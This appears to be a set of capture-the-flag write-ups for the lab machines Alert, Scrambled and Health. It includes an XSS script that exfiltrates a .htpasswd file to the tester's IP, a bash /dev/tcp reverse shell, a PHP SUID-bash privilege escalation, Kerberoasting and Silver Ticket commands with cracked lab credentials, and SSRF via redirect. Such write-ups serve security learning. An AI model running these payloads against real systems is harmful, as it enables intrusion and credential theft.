echo 'PHByZT48VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgYWxlcnQuaHRiCgogICAgRG9jdW1lbnRSb290IC92YXIvd3d3L2FsZXJ0Lmh0YgoKICAgIDxEaXJlY3RvcnkgL3Zhci93d3cvYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICBSZXdyaXRlRW5naW5lIE9uCiAgICBSZXdyaXRlQ29uZCAle0hUVFBfSE9TVH0gIV5hbGVydFwuaHRiJAogICAgUmV3cml0ZUNvbmQgJXtIVFRQX0hPU1R9ICFeJAogICAgUmV3cml0ZVJ1bGUgXi8/KC4qKSQgaHR0cDovL2FsZXJ0Lmh0Yi8kMSBbUj0zMDEsTF0KCiAgICBFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKICAgIEN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCjwvVmlydHVhbEhvc3Q+Cgo8VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICBEb2N1bWVudFJvb3QgL3Zhci93d3cvc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzCiAgICAgICAgQWxsb3dPdmVycmlkZSBBbGwKICAgICAgICBBdXRoVHlwZSBCYXNpYwogICAgICAgIEF1dGhOYW1lICJSZXN0cmljdGVkIEFyZWEiCiAgICAgICAgQXV0aFVzZXJGaWxlIC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiLy5odHBhc3N3ZAogICAgICAgIFJlcXVpcmUgdmFsaWQtdXNlcgogICAgPC9EaXJlY3Rvcnk+CgogICAgRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCiAgICBDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAo8L1ZpcnR1YWxIb3N0PgoKPC9wcmU+Cg==' | base64 -d | cat -l java > configfile.txt

cat configfile.txt


    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Path To User Credentials?

This is incredible, since we've found a path where user credentials are most likely being stored

AuthUserFile /var/www/statistics.alert.htb/.htpasswd

Now let's repeat the same XSS injection targeting that file to see what's inside it

This is the script now

var req = new XMLHttpRequest();
req.open(
	"GET",
	"http://alert.htb/messages.php?file=../../../../../../../../var/www/statistics.alert.htb/.htpasswd",
	false,
);
req.send();

var info = new XMLHttpRequest();
info.open("GET", "http://10.10.15.41/?infoinB64=" + btoa(req.responseText));
info.send();

Hashed Credentials

echo -n 'PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K' | base64 -d > credentials.txt

cat credentials.txt

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

And we've been able to obtain the credentials for the user albert, but the password is hashed...

Based on the format, we can deduce that this is an apr1-type hash

Let's confirm this using hashcat

hashcat --example-hashes | grep -i "apr1" -B 1 -A 8

Hash mode #1600
  Name................: Apache $apr1$ MD5, md5apr1, MD5 (APR)
  Category............: FTP, HTTP, SMTP, LDAP Server
  Slow.Hash...........: Yes
  Deprecated..........: No
  Deprecated.Notice...: N/A
  Password.Type.......: plain
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
--
  Example.Hash.Format.: plain
  Example.Hash........: $apr1$62722340$zGjeAwVP2KwY6MtumUI1N/
  Example.Pass........: hashcat
  Benchmark.Mask......: ?a?a?a?a?a?a?a
  Autodetect.Enabled..: Yes
  Self.Test.Enabled...: Yes
  Potfile.Enabled.....: Yes
  Keep.Guessing.......: No
  Custom.Plugin.......: No
  Plaintext.Encoding..: ASCII, HEX

Apparently, the format is the same, so we've confirmed it, this is an apr1-type hash

Cracking The Hashed Password

Now, let's try to crack it using rockyou.txt as the wordlist

First, let's get the .txt file ready to crack

Now we're ready

hashcat -m 1600 -a 0 credentials.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

And we obtained the credentials in plain text!

It looks like the administrator's password is manchesterunited

Let's save it

nvim credentials.txt

albert:manchesterunited

SSH Authentication

Now, if we remember correctly, in addition to an HTTP service, we also had an SSH service, let's try to authenticate through that service

ssh albert@10.129.231.188

Password: manchesterunited

And we're in!

Working from the console provided by SSH is a bit of a hassle, so let's launch a shell and customize it to make it more user-friendly

bash -c "bash -i >& /dev/tcp/10.10.15.41/443 0>&1"

And from our machine, we open the specified listening port to receive the connection

sudo nc -nvlp 443

TTY Treatment

Now we'll go over the TTY treatment

This will allow us to have a fully interactive shell where we can use Ctrl + C, Ctrl + L, etc...

script /dev/null -c bash

Then we press Ctrl + Z

stty raw -echo;fg

reset

And for Terminal type, type xterm

Once everything is ready, we set the value of TERM to xterm

export TERM=xterm

And finally, as the last step, we adjust the TTY size

To do this, we first check the rows and columns sizes on our machine

stty size

Now we'll adjust those values on the TTY we're working with

stty rows 42 columns 185

Internal Enumeration

The first thing we see in the current working directory is the user flag

After checking capabilities, SUID permissions, cron jobs, etc..., we found an internal service that isn't accessible from outside

ss -nltp

The service that looks interesting is running on port 8080

This service may be the subdomain for alert.htb

If we take another look at the configuration files, we can see that there is a subdomain called statistics.alert.htb

cat /etc/apache2/sites-available/000-default.conf

Port Forwarding

First, let's start by setting up port forwarding via SSH

ssh albert@10.129.231.188 -L 8080:127.0.0.1:8080

Password: manchesterunited

Now, to access the subdomain, we need to add it to our /etc/hosts file

sudo nvim /etc/hosts

And now we can view the content of the subdomain that was running internally on the machine

Name: albert

Password: manchesterunited

Now let's take a look at the configuration files for that subdomain

cd /var/www/statistics.alert.htb

But unfortunately, we can't access that directory

If we use id, we can see that we're in a group called management

Let's see what we can do with that group

find / -group management 2>/dev/null

Let's see what's in this .php file

It doesn't contain any useful information

Directory With Write Permissions

Now let's go to the website-monitor directory

cd /opt/website-monitor

ls -la

Seeing this, we realize that we have write permissions for the monitors directory...

First, let's see what's inside

cd monitors

ls -la

If we think about it, we don't have any service called “website monitor” or “monitor”

We still need to check the service on port 8080, for which we set up port forwarding via SSH

We found it!

Now let's try to access the resources in the monitors directory using this web service

And as we can see, we've been able to list the contents of the file

And now we have write permissions in that directory, where the files run as the root user

With this in mind, we can create a file that launches a reverse shell as the root user or add SUID permissions to /bin/bash

Root

nano rootuser.php

<?php system("chmod u+s /bin/bash"); ?>

And now we should have the bash with SUID permissions

All we have to do is open bash as a privileged user, and we'll have our console as root

bash -p

And finally, here's the root user flag

Scrambled

Mon, 10 Aug 2026 00:00:00 GMT

Reconnaissance

Let’s start by checking which TCP ports are open

nmap -sS -p- --open --min-rate 5000 10.129.43.92 -vvv -n -Pn -oN allports.txt

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
4411/tcp  open  found            syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49698/tcp open  unknown          syn-ack ttl 127
49707/tcp open  unknown          syn-ack ttl 127

Based on the ports we see, we can already tell that we're dealing with an AD (Active Directory) environment

Now let's grep out all the open ports

cat allports.txt | grep -o "^[0-9]*" | xargs | tr ' ' ','

53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49698,49707

Once we have all the open ports, let's perform service version detection

nmap -sVC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49698,49707 10.129.43.92 -oN portscan.txt

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Scramble Corp Intranet
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-10 10:15:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.43.92:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-10T10:02:27
|_Not valid after:  2056-08-10T10:02:27
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
4411/tcp  open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.99%I=7%D=8/10%Time=6A79A4BE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.
SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TLS
SF:SessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(FourO
SF:hFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%
SF:r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,35,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LANDesk
SF:-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D,"S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r
SF:(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-10T10:17:54
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

Based on this information, we can confirm that we are dealing with a DC (Domain Controller)

Luckily for us, we have the DC name and the domain name

Let's add this to the /etc/hosts file

sudo nvim /etc/hosts

Now, we have a lot of information here and many ports to go through, but let's start with the most important one HTTP

Now let's do some manual enumeration on this web service

And in the “IT Services” section, we can see an interesting message "Due to the security breach last month we have now disabled all NTLM authentication on our network. This may cause problems for some of the programs you use so please be patient while we work to resolve any issues"

Based on this information, we can now conclude that we must use Kerberos authentication

Continuing with the enumeration, we see that the web service has some resources

User Found

In the screenshot of the CMD, we can see that a system level user named “ksimpson” is being used

Now let's check if it's a valid user to do this, let's use the Kerbrute tool

echo 'ksimpson' > user.txt

kerbrute userenum -d scrm.local --dc 10.129.43.92 user.txt

And as we can see, the user is valid

Brute-Force Attack

Since we can't do much with just the username, we're going to perform a brute-force attack on usernames using kerbrute. If we have multiple users, we can attempt an AS-REP Roast Attack

(Wordlist that we used ---> https://github.com/attackdebris/kerberos_enum_userlists)

kerbrute userenum -d scrm.local --dc 10.129.43.92 /opt/kerberos_enum_userlists/A-ZSurnames.txt

Successful brute-force attack we've gained 4 new users!

Now let's save them

echo 'asmith,jhall,khicks,ksimpson,sjenkins' | tr ',' '\n' > users.txt

AS-REP Roast Attack (failed)

We now have the file that we'll use for the AS-REP Roast Attack, to do this, let's use the impacket GetNPUsers.py

GetNPUsers.py -no-pass -usersfile users.txt scrm.local/

Unfortunately, our attack failed because UF_DONT_REQUIRE_PREAUTH isn't set

What comes to mind right now is to use Kerbrute again to try to identify valid credentials for those users we found

we're going to perform another brute-force attack, but in this case to obtain valid user passwords

Before launching a large-scale attack, it's best to first test it manually by entering usernames as passwords, in some cases this works because users set their username as a password

Let's start with the first user we found, “ksimpson”

Credentials Found

kerbrute bruteuser -d scrm.local --dc 10.129.43.92 users.txt ksimpson

It looks like the user ksimpson is using the username as a password! (This is a very serious security mistake)

After testing the following users, only the user ksimpson works

Now that we have credentials, we can carry out a Kerberoasting attack

But before we try that, let's connect via SMB using the impacket smbclient.py (Let's not forget to use the -k flag for Kerberos authentication)

Successful SMB connection

smbclient.py scrm.local/ksimpson:ksimpson@dc1.scrm.local -k

And we gained access to the SMB service

After accessing each shared resource, only the “Public” resource provides a PDF that appears to contain important information

use Public
ls

Let's download it!

get Network Security Changes.pdf

And now let's open it

xdg-open 'Network Security Changes.pdf'

But we couldn't find anything we didn't already know

So let's move on to the Kerberoasting Attack phase

To perform this attack, we'll use the impacket GetUserSNPs.py (and of course we're going to use the only credentials we have)

Kerberoasting Attack

GetUserSPNs.py -k scrm.local/ksimpson:ksimpson -dc-host DC1.scrm.local -request

The attack was successful, and we were able to obtain the TGS (Ticket Granting Service) for the user "sqlsvc" which has a SPN (Service Principal Name) associated with it

Now let's save the hash to a file

echo '$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$72189adcba0a5372dbc0d7f3c9460f7a$6c0cef74da581275c1928cc40dc73e04d89a17651acb788d3937b78d77f3be5143eb6cf1d0bb287104bb30f3e11492b0e2ba697bd285fbc32653116fdfbfdb17e3ad33fbb2fb186a9a5d9ecf30999296d95b792427e77e0e3160cd8ea32c9aa4201f42625e1438fadf4d30b3a820ad0fa931e40e70b395dd6e502bb5dbf8d654d4ba07bfa8b0e6a675e8a7a2552d82a099ab957b5eace4c708750924b11d050d877aa1dbcfc34bbf6c09faa0893ea782bbf4e73b1349c049a8a1df61319d9160ab8c7f0dfbc6c3c43bae9871e7b986db63a8b4391dc861c4d1c05b0060807635194d72b085e3643fd364e03c52b86c36a1bc9756ace05502ba3d3f550b7f8b4c10cb851d98b66a66fd1a40f43213c3e9a26e4cc3e6876a1121376ac9a9644aa93af0345ba4dc87625cab83f9a5b9f2a008d74ece83f8d816ff04588cb4cca8bdab4f46edbd7840decd46224ffa7d75fbb6b94e2d6decf4ccaff25263938cf3d53c5404a8b0b3ac1907a8e25ce1f975fb7bcb028b7ae05387b013ddfb819c838fc5c51d2ded1425024642fada3a0b82586a748e9f9773adc072ca287e5863769569b36a18c013b6a7bf1b902fc41a4e5ece08b5619818e9a0fc805882329cc75f442e48b23340b617f0e36d88d6c89b3fedceeffe83a949224ed8b2d4a4d62419d6745ad3aa84e5185d04a983f2a53c89a3f6d2d65ed81b2956b88663c20ef043528352fbb709a2bc163dfec930fab8aa22feb05e62183d324656fe95139cffc1b011441aca0f763209dd9e6a7064bf4dba3d888d0eacb6918d642516044ff435d30fc5118541fc655b9e73672bad424471687f13f6a796d6021bfabf8a12e85041a455f9b65d2d0a1bbd9d1b8926cfadba70b772af93ff8d283ee4231bd60deb20e22d420e044b9872a2ad6565ec432cb533732dc3b8658a1453f9559d8755d3c4863242d0dbb97a44413a1fb9486a33b3a1eaab9fd0c2dd6f4792d6ebf62d96c3556193577dc0f49250d40b45431a94d7d46f58f62da296429f37aa75d2fb9335e052539bea96110e85338539b7d911ab6e57633de7a707faa868fa32cae7d000cf2e701e40177f2dc4548afdb03e55105704d33e58bf6b314b728141a1d0237b1e04f33d34592755788632cef22a2f77e908463244fe660f428cac55dbcf951a6767ab7dbfeaae7d071454537e3c8f4d836932ee9c6ba94a079b68d56e6f8852e25d361a8330e348f19c7ddcbeaf9f347c2a833d2a593ce848877bc89c0b859a07459c98f8a9427c70baa8853d7564d8e9fe39e17b10cc244effbb78db21476fd99f892a087963b11f954b04e1e920466d828943d7cce6f2ed34bf37c79274719c9603bd1e0592ccca96b72022a4d62019a12013b06af7676b0d84930ab6a1aded49b478209e09f96f020d268720a5dae6a46b7cd0eb0bfb11ce' > hash

And now let's crack it using John the Ripper

Cracking TGS Hash

john --format=krb5tgs --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash

And now we have the sqlsvc user's credentials in plain text

(sqlsvc:Pegasus60)

As we saw, the sqlsvc user is associated with an SPN, which is mssql

Now that we know this, let's try to connect to the MSSQL service using that user. To do so, we'll use the mssqlclient.py impacket

Connecting to the MSSQL service (failed)

mssqlclient.py scrm.local/sqlsvc:Pegasus60@10.129.43.92 -k

But we haven't been able to connect successfully

But we still have another method: the Silver Ticket Attack

To carry out this attack, we must have a user account associated with an SPN, that user's password in NTLM hash format, and finally the Domain SID of the user we want to impersonate

Obtaining the SID, SPN and NTLM Hash

First, let's start by converting the user's password into an NTLM hash
(https://codebeautify.org/ntlm-hash-generator)

Next, we'll retrieve the Domain SID for the Administrator user

To do this, we'll use the impacket getPac.py

getPac.py scrm.local/sqlsvc:Pegasus60 -targetUser Administrator

And finally, the SPN

We already got that when we used the impacket GetUserSPNs.py

And finally, we save everything in a file so we can keep it handy

And now we're ready to carry out the Silver Ticket Attack

We'll use the impacket ticketer.py for this attack

Silver Ticket Attack

ticketer.py -spn MSSQLSvc/dc1.scrm.local -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -nthash B999A16500B87D17EC7F2E2A68778F05 -dc-ip 10.129.43.92 -domain scrm.local Administrator

Now we need to export the KBR5CCNAME environment variable so that its value is the file where the TGS was generated (We need this to authenticate with Kerberos using tickets)

export KRB5CCNAME=Administrator.ccache

And now we can try to connect to the MSSQL service

Reconnecting to the MSSQL service

mssqlclient.py dc1.scrm.local -k

First, we start by listing all the databases

SELECT name FROM sys.databases;

Now let's choose a database

use ScrambleHR

Now let's list the tables in that database

SELECT * FROM information_schema.tables

And finally, the content of those tables

SELECT * FROM UserImport;

Now, using these new credentials, let's reconnect to the SMB service to see which shares we can list

Reconnecting to the SMB service (new creds)

smbclient.py scrm.local/MiscSvc:ScrambledEggs9900@dc1.scrm.local -k

After performing enumeration, we discovered two files (ScrambleClient.exe : ScrambleLib.dll)

Let's download both

get ScrambleClient.exe
get ScrambleLib.dll

**At this point, we would need to set up a Python server to transfer these two files to a Windows machine and then elevate privileges from the Windows machine**

Health

Wed, 22 Jul 2026 00:00:00 GMT

Reconnaissance

Let's start by checking which TCP ports are open

nmap -sS -p- --open --min-rate 5000 10.129.34.90 -vvv -n -Pn -oG allports.txt

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

As we can see, we’ve detected two services: SSH and HTTP

Now let's perform service version detection on the open ports

nmap -sVC -p22,80 -Pn 10.129.34.90

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
|   256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
|_  256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since we don't have credentials yet, let's take a look at the HTTP service

Testing the Web Service Tool

And this is what we have

This web service is a tool that allows us to remotely check whether a web service is available

If we take a closer look at the options this tool offers, we see that there are three fields: Payload URL, Monitored URL, and Interval

Payload URL = This is where we'll receive the information via a POST request

Monitored URL = This is to check if a web server is available

Interval = This represents Cron Jobs, and it is the interval at which the request will be executed.

To verify whether this tool actually works, we're going to set up a local Python web server and then use netcat to open a listening port to see if we receive the information via a POST request

mkdir www
cd !$
echo "This is a test" > index.html

Now let's start the web server

sudo python3 -m http.server 80

Now let's open another terminal and set up a listening port to receive the information via POST

nc -nvlp 5346

Like this:

Once everything is set up, we go to the tool and submit the request

As we can see, we receive a GET request to our web server, and then, through the listening port, we receive the information via POST

At this point, we can see that when the listening port receives the information, the body of the web service we are specifying in the Monitored URL field is displayed

This may lead us to consider the possibility of a potential SSRF (Server-Side Request Forgery) attack

First of all, let's determine whether there is a service running on the machine that we cannot access remotely. To do this, we'll use nmap

sudo nmap -sS -p- --min-rate 5000 10.129.34.90 -vvv -n -Pn

And we were able to identify a service that is running on the machine

PORT     STATE    SERVICE REASON
22/tcp   open     ssh     syn-ack ttl 63
80/tcp   open     http    syn-ack ttl 63
3000/tcp filtered ppp     no-response

SSRF (Server-Side Request Forgery)

Instead of entering our IP address which points to our web server in the Monitored URL field, we could try entering "localhost". That way, we would be pointing to the victim's machine, since the tool's request is sent from that machine itself

But the web server is properly sanitized, so we can't redirect to localhost

If we can't access it that way, we can represent localhost in hexadecimal: (0x7f000001)

Or we could represent it in decimal form: (2130706433)

But in this case, neither of those two methods will work

Now that we know this, let's try running a PHP server

nvim index.php

Now we're going to create a PHP file that redirects to localhost and points to the internal service on port 3000, and if the victim machine runs our code, we'll be able to see the internal service

<?php
  header("Location: http://127.0.0.1:3000");
?>

Once the file is created, we open the PHP server

sudo php -S 0.0.0.0:80

Now that the PHP server has been created and the listening port has been opened, we send the request using the web server tool

And as we can see, we received something...

To view this information in plain text, we should first copy all the information and paste it into a file. Then, we should use the jq utility and filter using .body to extract the body of the message, and then use the -r flag to display it in raw format.

cat data | jq .body -r

By doing this, we will extract the HTML in raw format from the service that was running locally on the victim's machine on port 3000

All that's left to do to view the service correctly on our machine is to copy all the HTML content we were able to extract and paste it into an index.html file

And then set up an HTTP server to host the .html file containing the code we managed to extract, so we could view the content of the web page that was being hosted locally on the victim's machine

The next step would be to see if there is an exploit available for that service, in this case Gogs v0.5.5

searchsploit gogs

Gogs - 'label' SQL Injection                                                    | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection                                       | multiple/webapps/35238.txt
gogs 0.13.0 - Remote Code Execution (RCE)                                       | multiple/remote/52348.py

searchsploit -x 35238

And as we can see, this SQL injection falls within the range of versions that we can exploit

SQL Injection

Now let's look for the PoC for that exploit to see how it works and test it

To test this SQL injection locally, we're going to download the same version that's being used on the victim machine running the Gogs service

https://github.com/gogs/gogs/releases/tag/v0.5.5

Once you've cloned the repository with the correct version, navigate to the gogs folder and run gogs web

cd gogs

./gogs web

Now we're ready to test for SQL injection

Then we run the SQL query provided by the exploit's PoC

And we received something, but it doesn't provide us with any important information, so we're going to create our own SQL query to extract data that will give us access to the victim's machine

To create our own query, the first step would be to intercept the request using Burp Suite

burpsuite 2>/dev/null & disown

Once the request has been intercepted, we send it to the Repeater using Ctrl + R

